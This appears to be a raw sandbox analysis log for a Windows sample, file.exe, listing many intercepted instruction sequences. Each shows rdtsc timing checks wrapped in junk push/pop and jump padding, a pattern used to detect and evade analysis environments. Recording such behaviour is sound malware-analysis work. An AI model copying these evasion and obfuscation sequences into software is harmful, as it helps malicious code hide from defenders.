Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626754 second address: 62676C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F96F934F1E8h 0x0000000b push edi 0x0000000c pop edi 0x0000000d js 00007F96F934F1E8h 0x00000013 pushad 0x00000014 popad 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62BD7A second address: 62BDCE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F96F95D6D7Fh 0x0000000c jmp 00007F96F95D6D79h 0x00000011 pushad 0x00000012 jmp 00007F96F95D6D77h 0x00000017 jmp 00007F96F95D6D75h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62BDCE second address: 62BDEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 jnc 00007F96F934F1E6h 0x0000000f pop ebx 0x00000010 pushad 0x00000011 jg 00007F96F934F1E6h 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62BDEB second address: 62BDF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62BDF0 second address: 62BE07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F934F1F2h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632FC8 second address: 632FF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F95D6D6Fh 0x00000007 jmp 00007F96F95D6D75h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6331B8 second address: 6331C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F96F934F1E6h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633499 second address: 6334BF instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F96F95D6D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007F96F95D6D70h 0x00000010 pop edi 0x00000011 popad 0x00000012 jp 00007F96F95D6D7Bh 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6338B8 second address: 6338BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6338BE second address: 6338DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F95D6D77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633BD1 second address: 633C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F96F934F1FDh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F96F934F1ECh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633F1E second address: 633F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632BAF second address: 632BEF instructions: 0x00000000 rdtsc 0x00000002 jns 00007F96F934F1E6h 0x00000008 jmp 00007F96F934F1EDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 jmp 00007F96F934F1F5h 0x00000015 jmp 00007F96F934F1ECh 0x0000001a pop edi 0x0000001b pop ecx 0x0000001c push ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632BEF second address: 632BF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F96F95D6D66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6373A7 second address: 6373C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F934F1EBh 0x00000007 jmp 00007F96F934F1EBh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6373C7 second address: 6373CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63979D second address: 6397DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F934F1F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F96F934F205h 0x0000000f jmp 00007F96F934F1F3h 0x00000014 jmp 00007F96F934F1ECh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6397DD second address: 6397E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6397E5 second address: 6397EB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FC78 second address: 63FCA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F96F95D6D71h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F96F95D6D71h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FCA5 second address: 63FCAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FCAB second address: 63FCB5 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F96F95D6D66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F68F second address: 63F698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F698 second address: 63F69D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F849 second address: 63F85B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pushad 0x00000007 push esi 0x00000008 je 00007F96F934F1E6h 0x0000000e pop esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64FB86 second address: 64FB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F96F95D6D66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F5B4 second address: 64F5BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F5BA second address: 64F62A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F96F95D6D75h 0x0000000d popad 0x0000000e pop edx 0x0000000f pushad 0x00000010 jmp 00007F96F95D6D6Fh 0x00000015 jmp 00007F96F95D6D74h 0x0000001a pushad 0x0000001b jmp 00007F96F95D6D77h 0x00000020 js 00007F96F95D6D66h 0x00000026 jmp 00007F96F95D6D6Dh 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65184F second address: 651853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651853 second address: 651891 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F95D6D76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F96F95D6D7Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 jnl 00007F96F95D6D66h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651891 second address: 651895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 651895 second address: 6518AF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F96F95D6D6Bh 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6519CB second address: 6519E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F96F934F1F3h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65808D second address: 65809E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F96F95D6D66h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65809E second address: 6580AA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65F6A4 second address: 65F6B3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F96F95D6D66h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65F6B3 second address: 65F6CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96F934F1EBh 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007F96F934F1E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6669F7 second address: 6669FC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 666D44 second address: 666D4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 666D4A second address: 666DB1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F96F95D6D66h 0x00000008 jmp 00007F96F95D6D6Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007F96F95D6D77h 0x00000017 ja 00007F96F95D6D83h 0x0000001d jmp 00007F96F95D6D77h 0x00000022 jne 00007F96F95D6D66h 0x00000028 jmp 00007F96F95D6D6Ch 0x0000002d jc 00007F96F95D6D72h 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B584 second address: 66B58A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B58A second address: 66B59A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jg 00007F96F95D6D66h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B6FC second address: 66B729 instructions: 0x00000000 rdtsc 0x00000002 je 00007F96F934F1F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F96F934F1F1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B729 second address: 66B72D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B72D second address: 66B755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a jmp 00007F96F934F1F4h 0x0000000f pushad 0x00000010 popad 0x00000011 jbe 00007F96F934F1E6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6740A9 second address: 6740B5 instructions: 0x00000000 rdtsc 0x00000002 js 00007F96F95D6D6Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6740B5 second address: 6740D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F96F934F1F5h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676852 second address: 676858 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676858 second address: 67685E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67685E second address: 676862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CB41 second address: 67CB45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CB45 second address: 67CB49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CB49 second address: 67CB57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67CB57 second address: 67CB5F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E50E second address: 67E512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A02E second address: 67A034 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A034 second address: 67A038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A645 second address: 68A64B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A64B second address: 68A64F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A64F second address: 68A660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F96F95D6D6Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A4FC second address: 68A502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A502 second address: 68A51E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F96F95D6D66h 0x00000009 jmp 00007F96F95D6D6Ch 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D3D1 second address: 68D3D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68D3D6 second address: 68D3DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D159 second address: 69D170 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F934F1F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D564 second address: 69D56A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D56A second address: 69D57A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F96F934F1EEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D81E second address: 69D823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69D991 second address: 69D997 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DAE7 second address: 69DAEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DAEB second address: 69DAF5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F96F934F1E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DAF5 second address: 69DB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F96F95D6D71h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DB0C second address: 69DB11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DB11 second address: 69DB17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69DB17 second address: 69DB44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96F934F1ECh 0x00000009 jmp 00007F96F934F1F9h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0C99 second address: 6A0C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0C9E second address: 6A0CE3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 or dl, 00000000h 0x0000000c adc edx, 2D35E68Fh 0x00000012 push 00000004h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F96F934F1E8h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D217Bh], edi 0x00000034 push F871A435h 0x00000039 push esi 0x0000003a push eax 0x0000003b push edx 0x0000003c push esi 0x0000003d pop esi 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A400B second address: 6A401B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F96F95D6D68h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A3BF7 second address: 6A3C25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F934F1EEh 0x00000007 jmp 00007F96F934F1F7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF050D second address: 4CF0511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0511 second address: 4CF0517 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0517 second address: 4CF0534 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F95D6D6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov edx, eax 0x0000000d mov bx, si 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0534 second address: 4CF0538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0538 second address: 4CF053E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF053E second address: 4CF0544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF060B second address: 4CF066C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F96F95D6D78h 0x00000008 xor ax, DB88h 0x0000000d jmp 00007F96F95D6D6Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007F96F95D6D78h 0x0000001b sub esi, 6587BDE8h 0x00000021 jmp 00007F96F95D6D6Bh 0x00000026 popfd 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF066C second address: 4CF0670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0670 second address: 4CF0676 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0676 second address: 4CF0697 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F934F1EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F96F934F1EDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF0697 second address: 4CF06B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, DC42h 0x00000007 mov bx, 7A8Eh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F96F95D6D70h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF06B9 second address: 4CF06BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF06BF second address: 4CF06E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96F95D6D6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F96F95D6D6Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CF06E2 second address: 4CF06F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F96F934F1ECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCC3A second address: 5BCC40 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
